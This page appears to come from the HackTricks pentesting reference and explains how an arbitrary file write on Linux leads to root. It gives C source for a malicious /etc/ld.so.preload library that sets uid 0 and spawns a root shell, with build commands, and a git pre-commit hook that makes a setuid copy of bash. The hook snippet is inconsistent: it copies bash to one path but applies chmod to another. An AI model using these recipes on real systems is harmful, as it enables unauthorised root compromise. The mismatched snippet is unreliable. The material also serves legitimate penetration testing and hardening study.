hacktricks/linux-hardening/privilege-escalation/write-to-root.md

Arbitrary File Write to Root

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/etc/ld.so.preload

This file behaves like LD_PRELOAD env variable but it also works in SUID binaries.
If you can create it or modify it, you can just add a path to a library that will be loaded with each executed binary.

For example: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git hooks

Git hooks are scripts that are run on various events in a git repository like when a commit is created, a merge... So if a privileged script or user is performing this actions frequently and it's possible to write in the .git folder, this can be used to privesc.

For example, It's possible to generate a script in a git repo in .git/hooks so it's always executed when a new commit is created:

{% code overflow="wrap" %}

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

{% endcode %}

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